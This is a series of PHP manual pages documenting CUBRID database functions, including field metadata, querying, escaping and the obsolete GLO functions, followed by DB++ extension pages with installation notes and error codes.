This function returns the maximum length of the specified field on success, or it returns FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Maximum length, when process is successful.

FALSE on failure.

Examples

Example #1 cubrid_field_len() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

The above example will output:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char(3)                        3
medal                          char(1)                        1
game_date                      date                           10

User Contributed Notes

There are no user contributed notes for this page.
cubrid_field_flags
cubrid_field_name
CUBRID MySQL Compatibility Functions


Return the name of the specified field index

cubrid_field_len
cubrid_field_seek
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_field_name

(PECL CUBRID >= 8.3.0)

cubrid_field_name — Return the name of the specified field index

Description

string cubrid_field_name ( resource $result , int $field_offset )

This function returns the name of the specified field index on success or it returns FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Name of specified field index, on success.

FALSE on failure.

Examples

Example #1 cubrid_field_name() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
    printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.
cubrid_field_len
cubrid_field_seek
CUBRID MySQL Compatibility Functions


Move the result set cursor to the specified field offset

cubrid_field_name
cubrid_field_table
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_field_seek

(PECL CUBRID >= 8.3.0)

cubrid_field_seek — Move the result set cursor to the specified field offset

Description

bool cubrid_field_seek ( resource $result [, int $field_offset = 0 ] )

This function moves the result set cursor to the specified field offset. This offset is used by cubrid_fetch_field() if it doesn't include a field offset. It returns TRUE on success or FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

TRUE on success.

FALSE on failure.

Examples

Example #1 cubrid_field_seek() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max lenght:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %s\n", "type:", $field->type);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16681"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-9-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max lenght:                    5
not null:                      1
unique key:                    1
multiple key:                  0
numeric:                       1
type:                          integer

User Contributed Notes

There are no user contributed notes for this page.
cubrid_field_name
cubrid_field_table
CUBRID MySQL Compatibility Functions


Return the name of the table of the specified field

cubrid_field_seek
cubrid_field_type
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_field_table

(PECL CUBRID >= 8.3.0)

cubrid_field_table — Return the name of the table of the specified field

Description

string cubrid_field_table ( resource $result , int $field_offset )

This function returns the name of the table of the specified field. This is useful when using large select queries with JOINS.

Parameters

result

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH.

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Name of the table of the specified field, on success.

FALSE when invalid field_offset value.

-1 if SQL sentence is not SELECT.

Examples

Example #1 cubrid_field_table() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
    printf("%-15s %-15s %s\n",
        cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Table     Field Name      Field Type
code            s_name          char(1)
code            f_name          varchar(6)

User Contributed Notes

There are no user contributed notes for this page.
cubrid_field_seek
cubrid_field_type
CUBRID MySQL Compatibility Functions


Return the type of the column corresponding to the given field offset

cubrid_field_table
cubrid_list_dbs
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_field_type

(PECL CUBRID >= 8.3.0)

cubrid_field_type — Return the type of the column corresponding to the given field offset

Description

string cubrid_field_type ( resource $result , int $field_offset )

This function returns the type of the column corresponding to the given field offset. The returned field type could be one of the following: "int", "real", "string", etc.

Parameters

result

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH.

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Type of the column, on success.

FALSE when invalid field_offset value.

-1 if SQL sentence is not SELECT.

Examples

Example #1 cubrid_field_type() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
    printf("%-15s %-15s %s\n",
        cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Table     Field Name      Field Type
code            s_name          char(1)
code            f_name          varchar(6)

User Contributed Notes

There are no user contributed notes for this page.
cubrid_field_table
cubrid_list_dbs
CUBRID MySQL Compatibility Functions


Return an array with the list of all existing CUBRID databases

cubrid_field_type
cubrid_num_fields
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_list_dbs

(PECL CUBRID >= 8.3.0)

cubrid_list_dbs — Return an array with the list of all existing CUBRID databases

Description

array cubrid_list_dbs ( resource $conn_identifier )

This function returns an array with the list of all existing Cubrid databases.

Parameters

conn_identifier

The CUBRID connection.

Return Values

An numeric array with all existing Cubrid databases; on success.

FALSE on failure.

Examples

Example #1 cubrid_list_dbs() example

<?php
$conn = cubrid_connect("localhost", 33088, "demodb");

$db_list = cubrid_list_dbs($conn);
var_dump($db_list);

cubrid_disconnect($conn);
?>

The above example will output:

array(1) {
  [0]=>
  string(6) "demodb"
}

User Contributed Notes

There are no user contributed notes for this page.
cubrid_field_type
cubrid_num_fields
CUBRID MySQL Compatibility Functions


Return the number of columns in the result set

cubrid_list_dbs
cubrid_ping
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_num_fields

(PECL CUBRID >= 8.3.0)

cubrid_num_fields — Return the number of columns in the result set

Description

int cubrid_num_fields ( resource $result )

This function returns the number of columns in the result set, on success, or it returns FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute()

Return Values

Number of columns, on success.

-1 if SQL sentence is not SELECT.

Examples

Example #1 cubrid_num_fields() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_fields($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

The above example will output:

Row Num: 6
Column Num: 2

User Contributed Notes

There are no user contributed notes for this page.
cubrid_list_dbs
cubrid_ping
CUBRID MySQL Compatibility Functions


Ping a server connection or reconnect if there is no connection

cubrid_num_fields
cubrid_query
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_ping

(PECL CUBRID >= 8.3.1)

cubrid_ping — Ping a server connection or reconnect if there is no connection

Description

bool cubrid_ping ([ resource $conn_identifier ] )

Checks whether or not the connection to the server is working.

Parameters

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

Returns TRUE if the connection to the server CUBRID server is working, otherwise FALSE.

Examples

Example #1 cubrid_ping() example

<?php
set_time_limit(0);

$conn = cubrid_connect('localhost', 33000, 'demodb');

/* Assuming this query will take a long time */
$result = cubrid_query($sql);
if (!$result) {
    echo 'Query #1 failed, exiting.';
    exit;
}

/* Make sure the connection is still alive, if not, try to reconnect */
if (!cubrid_ping($conn)) {
    echo 'Lost connection, exiting after query #1';
    exit;
}
cubrid_free_result($result);

/* So the connection is still alive, let's run another query */
$result2 = cubrid_query($sql2);
?>

User Contributed Notes

There are no user contributed notes for this page.
cubrid_num_fields
cubrid_query
CUBRID MySQL Compatibility Functions


Send a CUBRID query

cubrid_ping
cubrid_real_escape_string
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_query

(PECL CUBRID >= 8.3.1)

cubrid_query — Send a CUBRID query

Description

resource cubrid_query ( string $query [, resource $conn_identifier ] )

cubrid_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified conn_identifier.

Parameters

query

An SQL query

Data inside the query should be properly escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, cubrid_query() returns a resource on success, or FALSE on error.

For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, cubrid_query() returns TRUE on success or FALSE on error.

The returned result resource should be passed to cubrid_fetch_array(), and other functions for dealing with result tables, to access the returned data.

Use cubrid_num_rows() to find out how many rows were returned for a SELECT statement or cubrid_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

cubrid_query() will also fail and return FALSE if the user does not have permission to access the table(s) referenced by the query.

Examples

Example #1 Invalid Query

The following query is syntactically invalid, so cubrid_query() fails and returns FALSE.

<?php
$conn = cubrid_connect('localhost', 33000, 'foo');

$result = cubrid_query('SELECT * WHERE 1=1');
if (!$result) {
    die('Invalid query: ' . cubrid_error());
}

?>

Example #2 Valid Query

The following query is valid, so cubrid_query() returns a resource.

<?php
// This could be supplied by a user, for example
$firstname = 'fred';
$lastname  = 'fox';

$conn = cubrid_connect('localhost', 33000, 'foo');

// Formulate Query
// This is the best way to perform an SQL query
// For more examples, see cubrid_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends WHERE firstname='%s' AND lastname='%s'",
cubrid_real_escape_string($firstname),
cubrid_real_escape_string($lastname));

// Perform Query
$result = cubrid_query($query);

// Check result
// This shows the actual query sent to CUBRID, and the error. Useful for debugging.
if (!$result) {
    $message  = 'Invalid query: ' . cubrid_error() . "\n";
    $message .= 'Whole query: ' . $query;
    die($message);
}

// Use result
// Attempting to print $result won't allow access to information in the resource
// One of the cubrid result functions must be used
// See also cubrid_result(), cubrid_fetch_array(), cubrid_fetch_row(), etc.
while ($row = cubrid_fetch_assoc($result)) {
    echo $row['firstname'];
    echo $row['lastname'];
    echo $row['address'];
    echo $row['age'];
}

// Free the resources associated with the result set
// This is done automatically at the end of the script
cubrid_free_result($result);
?>

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_error() - Get the error message
  • cubrid_real_escape_string() - Escape special characters in a string for use in an SQL statement
  • cubrid_result() - Return the value of a specific field in a specific row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_unbuffered_query() - Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.
cubrid_ping
cubrid_real_escape_string
CUBRID MySQL Compatibility Functions


Escape special characters in a string for use in an SQL statement

cubrid_query
cubrid_result
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_real_escape_string

(PECL CUBRID >= 8.3.0)

cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement

Description

string cubrid_real_escape_string ( string $unescaped_string [, resource $conn_identifier ] )

This function returns the escaped string version of the given string. It will escape the following characters: '. In general, single quotations are used to enclose character string. Double quotations may be used as well depending on the value of ansi_quotes, which is a parameter related to SQL statement. If the ansi_quotes value is set to no, character string enclosed by double quotations is handled as character string, not as an identifier. The default value is yes. If you want to include a single quote as part of a character string, enter two single quotes in a row.

Parameters

unescaped_string

The string that is to be escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

Escaped string version of the given string, on success.

FALSE on failure.

Examples

Example #1 cubrid_real_escape_string() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$unescaped_str = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
$escaped_str = cubrid_real_escape_string($unescaped_str);

$len = strlen($unescaped_str);

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (t char($len))");
cubrid_execute($conn, "INSERT INTO cubrid_test (t) VALUES('$escaped_str')");

$req = cubrid_execute($conn, "SELECT * FROM cubrid_test");
$row = cubrid_fetch_assoc($req);

var_dump($row);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(1) {
  ["t"]=>
  string(95) " !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
}

User Contributed Notes

There are no user contributed notes for this page.
cubrid_query
cubrid_result
CUBRID MySQL Compatibility Functions


Return the value of a specific field in a specific row

cubrid_real_escape_string
cubrid_unbuffered_query
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_result

(PECL CUBRID >= 8.3.0)

cubrid_result — Return the value of a specific field in a specific row

Description

string cubrid_result ( resource $result , int $row [, mixed $field = 0 ] )

This function returns the value of a specific field in a specific row from a result set.

Parameters

result

result comes from a call to cubrid_execute()

row

The row number from the result that is being retrieved. Row numbers start at 0.

field

The name or offset of the field being retrieved. It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved.

Return Values

Value of a specific field, on success (NULL if value if null).

FALSE on failure.

Examples

Example #1 cubrid_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$result = cubrid_result($req, 0);
var_dump($result);

$result = cubrid_result($req, 0, 1);
var_dump($result);

$result = cubrid_result($req, 5, "f_name");
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

string(1) "X"
string(5) "Mixed"
string(4) "Gold"

User Contributed Notes

There are no user contributed notes for this page.
cubrid_real_escape_string
cubrid_unbuffered_query
CUBRID MySQL Compatibility Functions


Perform a query without fetching the results into memory

cubrid_result
CUBRID Obsolete Aliases and Functions
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_unbuffered_query

(PECL CUBRID >= 8.3.0)

cubrid_unbuffered_query — Perform a query without fetching the results into memory

Description

resource cubrid_unbuffered_query ( string $query [, resource $conn_identifier ] )

This function performs a query without waiting for that all query results have been complete. It will return when the results are being generated.

Parameters

query

A SQL query.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

For SELECT, SHOW, DESCRIBE or EXPLAIN statements returns a connection identifier resource on success.

For other type of SQL statements, UPDATE, DELETE, DROP, etc, returns TRUE on success.

FALSE on failure.

Notes

Note:

The benefits of cubrid_unbuffered_query() come at a cost: you cannot use cubrid_num_rows() and cubrid_data_seek() on a result set returned from cubrid_unbuffered_query().

Examples

Example #1 cubrid_unbuffered_query() example

<?php
    $link = cubrid_connect("localhost", 30000, "demodb2", "dba", "");
    if (!$link)
    {
        die('Could not connect.');
    }
    $query = "insert into employees (name, address, salary) values ('Michael', 'Boston, MA', 3750)";
    cubrid_unbuffered_query($query, $link);
?>

User Contributed Notes

There are no user contributed notes for this page.
cubrid_result
CUBRID Obsolete Aliases and Functions
CUBRID MySQL Compatibility Functions


CUBRID Obsolete Aliases and Functions

Table of Contents

  • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
  • cubrid_new_glo — Create a glo instance
  • cubrid_save_to_glo — Save requested file in a GLO instance
  • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.
cubrid_unbuffered_query
cubrid_load_from_glo
CUBRID


Read data from a GLO instance and save it in a file

CUBRID Obsolete Aliases and Functions
cubrid_new_glo
CUBRID Obsolete Aliases and Functions
PHP Manual

cubrid_load_from_glo

(PECL CUBRID >= 8.3.0)

cubrid_load_from_glo — Read data from a GLO instance and save it in a file

Description

int cubrid_load_from_glo ( resource $conn_identifier , string $oid , string $file_name )

The cubrid_load_from_glo() function is used to read a data from a glo instance, and saves it in a designated file.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read the data from.

file_name

Name of the file where you want to save the data in.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_load_from_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
   list ($oid) = cubrid_fetch($req);
   cubrid_close_request($req);
   $res = cubrid_load_from_glo ($con, $oid, "output.jpg");
   if ($res) {
      echo "image changed successfully";
   }
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_load_from_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.
CUBRID Obsolete Aliases and Functions
cubrid_new_glo
CUBRID Obsolete Aliases and Functions


Create a glo instance

cubrid_load_from_glo
cubrid_save_to_glo
CUBRID Obsolete Aliases and Functions
PHP Manual

cubrid_new_glo

(PECL CUBRID >= 8.3.0)

cubrid_new_glo — Create a glo instance

Description

string cubrid_new_glo ( resource $conn_identifier , string $class_name , string $file_name )

The cubrid_new_glo() function is used to create a glo instance in the requested class (glo class). The glo created is a LO type, and is stored in the file_name file.

Parameters

conn_identifier

Connection identifier.

class_name

Name of the class that you want to create a glo in.

file_name

The file name that you want to save in the newly created glo.

Return Values

Oid of the instance created, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_new_glo() example

<?php
$oid = cubrid_new_glo ($con, "glo", "input.jpg");
if ($oid){
   // the type of column "image" is "object"
   $req = cubrid_execute ($con, "insert into person(image) values($oid)");
   if ($req) {
      echo "image inserted successfully";
      cubrid_close_request ($req);
      cubrid_commit($con);
   }
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_new_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.
cubrid_load_from_glo
cubrid_save_to_glo
CUBRID Obsolete Aliases and Functions


Save requested file in a GLO instance

cubrid_new_glo
cubrid_send_glo
CUBRID Obsolete Aliases and Functions
PHP Manual

cubrid_save_to_glo

(PECL CUBRID >= 8.3.0)

cubrid_save_to_glo — Save requested file in a GLO instance

Description

int cubrid_save_to_glo ( resource $conn_identifier , string $oid , string $file_name )

The cubrid_save_to_glo() function is used to save requested file in a glo instance.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to save a file in.

file_name

The name of the file that you want to save.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_save_to_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
   list ($oid) = cubrid_fetch($req);
   cubrid_close_request($req);
   $res = cubrid_save_to_glo ($con, $oid, "input.jpg");
   if ($res) {
      echo "image changed successfully";
   }
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_save_to_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_new_glo() - Create a glo instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.
cubrid_new_glo
cubrid_send_glo
CUBRID Obsolete Aliases and Functions


Read data from glo and send it to std output

cubrid_save_to_glo
DB++
CUBRID Obsolete Aliases and Functions
PHP Manual

cubrid_send_glo

(PECL CUBRID >= 8.3.0)

cubrid_send_glo — Read data from glo and send it to std output

Description

int cubrid_send_glo ( resource $conn_identifier , string $oid )

The cubrid_send_glo() function is used to read data from glo instance and sends it to the PHP standard output.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read data from.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_send_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id =1");
if ($req) {
  list ($oid) = cubrid_fetch($req);
  cubrid_close_request($req);
  Header ("Content-type: image/jpeg");
  cubrid_send_glo ($con, $oid);
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_send_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file

User Contributed Notes

There are no user contributed notes for this page.
cubrid_save_to_glo
DB++
CUBRID Obsolete Aliases and Functions


DB++

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • db++ error codes
  • DB++ Functions
    • dbplus_add — Add a tuple to a relation
    • dbplus_aql — Perform AQL query
    • dbplus_chdir — Get/Set database virtual current directory
    • dbplus_close — Close a relation
    • dbplus_curr — Get current tuple from relation
    • dbplus_errcode — Get error string for given errorcode or last error
    • dbplus_errno — Get error code for last operation
    • dbplus_find — Set a constraint on a relation
    • dbplus_first — Get first tuple from relation
    • dbplus_flush — Flush all changes made on a relation
    • dbplus_freealllocks — Free all locks held by this client
    • dbplus_freelock — Release write lock on tuple
    • dbplus_freerlocks — Free all tuple locks on given relation
    • dbplus_getlock — Get a write lock on a tuple
    • dbplus_getunique — Get an id number unique to a relation
    • dbplus_info — Get information about a relation
    • dbplus_last — Get last tuple from relation
    • dbplus_lockrel — Request write lock on relation
    • dbplus_next — Get next tuple from relation
    • dbplus_open — Open relation file
    • dbplus_prev — Get previous tuple from relation
    • dbplus_rchperm — Change relation permissions
    • dbplus_rcreate — Creates a new DB++ relation
    • dbplus_rcrtexact — Creates an exact but empty copy of a relation including indices
    • dbplus_rcrtlike — Creates an empty copy of a relation with default indices
    • dbplus_resolve — Resolve host information for relation
    • dbplus_restorepos — Restore position
    • dbplus_rkeys — Specify new primary key for a relation
    • dbplus_ropen — Open relation file local
    • dbplus_rquery — Perform local (raw) AQL query
    • dbplus_rrename — Rename a relation
    • dbplus_rsecindex — Create a new secondary index for a relation
    • dbplus_runlink — Remove relation from filesystem
    • dbplus_rzap — Remove all tuples from relation
    • dbplus_savepos — Save position
    • dbplus_setindex — Set index
    • dbplus_setindexbynumber — Set index by number
    • dbplus_sql — Perform SQL query
    • dbplus_tcl — Execute TCL code on server side
    • dbplus_tremove — Remove tuple and return new current tuple
    • dbplus_undo — Undo
    • dbplus_undoprepare — Prepare undo
    • dbplus_unlockrel — Give up write lock on relation
    • dbplus_unselect — Remove a constraint from relation
    • dbplus_update — Update specified tuple in relation
    • dbplus_xlockrel — Request exclusive lock on relation
    • dbplus_xunlockrel — Free exclusive lock on relation

User Contributed Notes

There are no user contributed notes for this page.
cubrid_send_glo
Introduction
Vendor Specific Database Extensions


Introduction

db++, made by the German company » Concept asa, is a relational database system with high performance and low memory and disk usage in mind. While providing SQL as an additional language interface, it is not really an SQL database in the first place but provides its own AQL query language which is much more influenced by the relational algebra than SQL is.

Concept asa always had an interest in supporting open source languages, db++ has had Perl and Tcl call interfaces for years now and uses Tcl as its internal stored procedure language.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
DB++
Installing/Configuring
DB++


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
DB++


Requirements

This extension relies on external client libraries so you have to have a db++ client installed on the system you want to use this extension on.

» Concept asa provides » db++ Demo versions and » documentation for Linux, some other Unix versions. There is also a Windows version of db++, but this extension doesn't support it (yet).

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

In order to build this extension yourself you need the db++ client libraries and header files to be installed on your system (these are included in the db++ installation archives by default). You have to run configure with option --with-dbplus to build this extension.

configure looks for the client libraries and header files under the default paths /usr/dbplus, /usr/local/dbplus and /opt/dblus. If you have installed db++ in a different place you have add the installation path to the configure option like this: --with-dbplus=/your/installation/path .

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

dbplus_relation

Most db++ functions operate on or return dbplus_relation resources. A dbplus_relation is a handle to a stored relation or a relation generated as the result of a query.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

Table of Contents

  • db++ error codes

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
db++ error codes
DB++


db++ error codes

DB++ Error Codes
PHP Constant | db++ constant | meaning
DBPLUS_ERR_NOERR (integer) | ERR_NOERR | Null error condition
DBPLUS_ERR_DUPLICATE (integer) | ERR_DUPLICATE | Tried to insert a duplicate tuple
DBPLUS_ERR_EOSCAN (integer) | ERR_EOSCAN | End of scan from rget()
DBPLUS_ERR_EMPTY (integer) | ERR_EMPTY | Relation is empty (server)
DBPLUS_ERR_CLOSE (integer) | ERR_CLOSE | The server can't close
DBPLUS_ERR_WLOCKED (integer) | ERR_WLOCKED | The record is write locked
DBPLUS_ERR_LOCKED (integer) | ERR_LOCKED | Relation was already locked
DBPLUS_ERR_NOLOCK (integer) | ERR_NOLOCK | Relation cannot be locked
DBPLUS_ERR_READ (integer) | ERR_READ | Read error on relation
DBPLUS_ERR_WRITE (integer) | ERR_WRITE | Write error on relation
DBPLUS_ERR_CREATE (integer) | ERR_CREATE | Create() system call failed
DBPLUS_ERR_LSEEK (integer) | ERR_LSEEK | Lseek() system call failed
DBPLUS_ERR_LENGTH (integer) | ERR_LENGTH | Tuple exceeds maximum length
DBPLUS_ERR_OPEN (integer) | ERR_OPEN | Open() system call failed
DBPLUS_ERR_WOPEN (integer) | ERR_WOPEN | Relation already opened for writing
DBPLUS_ERR_MAGIC (integer) | ERR_MAGIC | File is not a relation
DBPLUS_ERR_VERSION (integer) | ERR_VERSION | File is a very old relation
DBPLUS_ERR_PGSIZE (integer) | ERR_PGSIZE | Relation uses a different page size
DBPLUS_ERR_CRC (integer) | ERR_CRC | Invalid crc in the superpage
DBPLUS_ERR_PIPE (integer) | ERR_PIPE | Piped relation requires lseek()
DBPLUS_ERR_NIDX (integer) | ERR_NIDX | Too many secondary indices
DBPLUS_ERR_MALLOC (integer) | ERR_MALLOC | Malloc() call failed
DBPLUS_ERR_NUSERS (integer) | ERR_NUSERS | Error use of max users
DBPLUS_ERR_PREEXIT (integer) | ERR_PREEXIT | Caused by invalid usage
DBPLUS_ERR_ONTRAP (integer) | ERR_ONTRAP | Caused by a signal
DBPLUS_ERR_PREPROC (integer) | ERR_PREPROC | Error in the preprocessor
DBPLUS_ERR_DBPARSE (integer) | ERR_DBPARSE | Error in the parser
DBPLUS_ERR_DBRUNERR (integer) | ERR_DBRUNERR | Run error in db
DBPLUS_ERR_DBPREEXIT (integer) | ERR_DBPREEXIT | Exit condition caused by prexit() * procedure
DBPLUS_ERR_WAIT (integer) | ERR_WAIT | Wait a little (Simple only)
DBPLUS_ERR_CORRUPT_TUPLE (integer) | ERR_CORRUPT_TUPLE | A client sent a corrupt tuple
DBPLUS_ERR_WARNING0 (integer) | ERR_WARNING0 | The Simple routines encountered a non fatal error which was corrected
DBPLUS_ERR_PANIC (integer) | ERR_PANIC | The server should not really die but after a disaster send ERR_PANIC to all its clients
DBPLUS_ERR_FIFO (integer) | ERR_FIFO | Can't create a fifo
DBPLUS_ERR_PERM (integer) | ERR_PERM | Permission denied
